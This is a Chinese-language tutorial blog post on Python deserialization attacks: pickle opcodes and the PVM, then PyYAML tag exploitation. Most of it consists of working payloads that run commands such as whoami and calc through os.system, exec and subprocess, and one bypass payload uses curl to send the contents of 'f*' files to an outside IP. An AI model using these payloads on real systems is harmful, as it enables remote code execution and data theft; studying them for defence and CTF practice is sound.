这个点拖了好久了,这次补上

Pickle

Python提供两个模块来实现序列化: cPicklepickle. 这两个模块功能是一样的, 区别在于cPickle是C语言写的, 速度快; pickle是纯Python写的, 速度慢. 在Python3中已经没有cPickle模块. pickle有如下四种操作方法:

dump()
dumps()
load()
loads()

序列化函数有dumps()和dump(),这俩的区别就是dumps()只会单纯的将对象序列化,而dump()会在序列化之后将结果写入到文件当中,与之相对的就是反序列化函数,同样也有两个,load()和loads(),同样的,loads()也只是单纯的进行反序列化,而load()会将结果写入文件中.
pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

PVM

组成

PVM是指python虚拟机,Python 进程会把编译好的字节码转发到PVM中,序列化和反序列化的过程都是发生在PVM上的
PVM由三个部分组成:

指令处理器: 从流中读取opcode和参数, 并对其进行解释处理. 重复这个动作, 直到遇到.这个结束符后停止, 最终留在栈顶的值将被作为反序列化对象返回.
栈区(stack): 由Python的list实现, 被用来临时存储数据、参数以及对象, 在不断的进出栈过程中完成对数据流的反序列化操作, 并最终在栈顶生成反序列化的结果.
标签区(memo): 由Python的dict实现, 为PVM的整个生命周期提供存储.

执行流程

首先, PVM会把源代码编译成字节码, 字节码是Python语言特有的一种表现形式, 它不是二进制机器码, 需要进一步编译才能被机器执行. 如果Python进程在主机上有写入权限, 那么它会把程序字节码保存为一个以.pyc为扩展名的文件. 如果没有写入权限, 则Python进程会在内存中生成字节码, 在程序执行结束后被自动丢弃.

一般来说, 在构建程序时最好给Python进程在主机上的写入权限, 这样只要源代码没有改变, 生成的.pyc文件就可以被重复利用, 提高执行效率, 同时隐藏源代码.

然后, Python进程会把编译好的字节码转发到PVM(Python虚拟机)中, PVM会循环迭代执行字节码指令, 直到所有操作被完成.

指令集

当前用于pickling的协议共有6种, 使用的协议版本越高, 读取生成的pickle所需的Python版本就要越新.

v0版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python.
v1版协议是较早的二进制格式, 它也与早期版本的Python兼容.
v2版协议是在Python 2.3中引入的, 它为存储new-style class提供了更高效的机制, 参阅PEP 307.
v3版协议添加于Python 3.0, 它具有对bytes对象的显式支持, 且无法被Python 2.x打开, 这是目前默认使用的协议, 也是在要求与其他Python 3版本兼容时的推荐协议.
v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.
import pickle

class a():
    def __init__(self):
        c=1

for i in range(6):
    print(f'pickle版本{i}',pickle.dumps(a(),protocol=i))

pickling

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

基本模式:

c<module>
<callable>
(<args>
tR.

比如

cos
system
(S'whoami'
tR.

分析一下即是:

cos         =>  引入模块 os.
system      =>  引用 system, 并将其添加到 stack.
(S'whoami'  =>  把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t           =>  stack 中的值弹出并转为 tuple, 把 metastack 还原到 stack, 再将 tuple 压入 stack.
R           =>  system(*('whoami',)).
.           =>  结束并返回当前栈顶元素.

PVM操作码

PVM中的操作码都是单字节的
操作码
S操作码 代表后面这一串是String ,是支持十六进制的识别的S'flag' => S'\x66\x6c\x61\x67'V操作码 代表后面这一串是unicode编码 (可以用来bypass)I操作码 代表后面这一串是整数

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式。
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins exec'
   17: q    BINPUT     0
   19: X    BINUNICODE "key1=b'1'\nkey2=b'2'"
   43: q    BINPUT     1
   45: \x85 TUPLE1
   46: q    BINPUT     2
   48: R    REDUCE
   49: q    BINPUT     3
   51: .    STOP
highest protocol among opcodes = 2

漏洞利用

函数执行

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:
R

b'''cos
system
(S'whoami'
tR.'''
import pickle
import os

class Test(object):
    def __reduce__(self):
        return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

i

b'''(S'whoami'
ios
system
.'''

o

b'''(cos
system
S'whoami'
o.'''

bypass

b'''(S'key1'
S'val1'
dS'vul'
(cos
system
S'calc'
os.'''
b'''c__builtin__
map
p0
0(S'os.system("curl http://xx.xx.xx.60:1888/?data=`cat f*`")'
tp1
0(c__builtin__
exec
g1
tp2
g0
g2
\x81p3
0c__builtin__
bytes
p4
0(g3
tp3
0g4
g3
\x81.'''
b'''ctimeit
repeat
(ccodecs
decode
(cbase64
b64decode
(S'X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3dob2FtaScp'
tRtRtR.'''

报错

import pickle
import base64
import os

class Email():
    email = "admin@admin.com"

    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('id').read())",))

def login():    
    poc = base64.b64encode(pickle.dumps(Email()))
    print(poc)

变量覆盖

# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

首先,通过 c 获取全局变量 secret ,然后建立一个字典,并使用 b 对secret进行属性设置

实例化对象

实例化对象是一种特殊的函数执行,这里简单的使用 R 构造一下,其他方式类似

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

PyYAML 反序列化

简介

YAML是一种人类可读的数据序列化格式,经常用于配置文件和数据交换。它的设计目标是易于阅读和编写,并且能够被不同编程语言支持的解析器解析。

基本语法:

大小写敏感
使用缩进表示层级关系
缩进不允许使用tab,只允许空格
缩进的空格数不重要,只要相同层级的元素左对齐即可
在同一个yml文件中用---隔开多份配置
‘#’表示注释
‘!!’表示强制类型转换

语言转化

yaml -> python

yaml.load(data) # 加载单个 YAML 配置,返回一个Python对象

yaml.load_all(data) # 加载多个 YAML 配置,返回一个迭代器

yaml.load()将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据,两个方法都可以指定加载器Loader,接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象。

python -> yaml

yaml.dump(data) # 转换单个python对象

yaml.dump_all([data1, data2, …]) # 转换多个python对象

接收的data参数就是python对象包括对象实例、字典、列表等类型数据,python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们称之为序列化,反之load()就是在反序列化

漏洞点

YAML中yaml/constructor.py文件, 查看文件代码中的三个特殊Python标签的源码:

!!python/object标签.
!!python/object/new标签.
!!python/object/apply标签.

这三个Python标签中都是调用了make_python_instance`函数, 跟进查看该函数. 可以看到, 在该函数是会根据参数来动态创建新的Python类对象或通过引用module的类创建对象, 从而可以执行任意命令.
make_python_instance

PyYaml >= 5.1中,修改了find_python_name方法和find_python_mdule方法增加了一个默认的unsafe为false的值,这个值会限制__import__()而抛出错误。而且其中load函数被限制使用了,如果没有指定Loader会抛出警告并默认加载器为FullLoader。如果指定的加载器是UnsafeConstructor 或者Constructor,那么还可以像<5.1版本一样利用

Payload(PyYaml < 5.1)

!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]    
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]

Pyload(PyYaml >= 5.1)

from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
 - calc"""
deserialized_data = load(data, Loader=Loader)
print(deserialized_data)
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data) 
print(deserialized_data)
from yaml import *
load("""
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('calc')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:eval
        items: !!python/name:list
""",Loader = Loader)
from yaml import *
load("""
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('calc')"
""",Loader = Loader)

builtins是python的内建模块,它不需要import,python会加载内建模块中的函数到内存中,该模块是在sys.modules中的

既然必须是一个类,则找该模块的类成员

import builtins
def print_all(module_):
    modulelist = dir(module_)
    length = len(modulelist)
    for i in range(0, length, 1):
        result = str(getattr(module_, modulelist[i]))
        if '<class' in result:
            print(result)

print_all(builtins)

用map来触发函数执行,用tuple将map对象转化为元组输出来(用frozenset、bytes都可以

from yaml import *
load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('calc')"]
""",Loader = Loader)

subprocess 模块替代了一些老的模块和函数,比如:os.system、os.spawn*等,而subprocess模块定义了一个类:Popen

from yaml import *
load("""
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [calc]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
""",Loader = Loader)
Python反序列化漏洞分析
pickle反序列化初探
浅谈PyYAML反序列化漏洞
PyYaml反序列化漏洞
最后修改:2024 年 10 月 15 日
如果觉得我的文章对你有用,请随意赞赏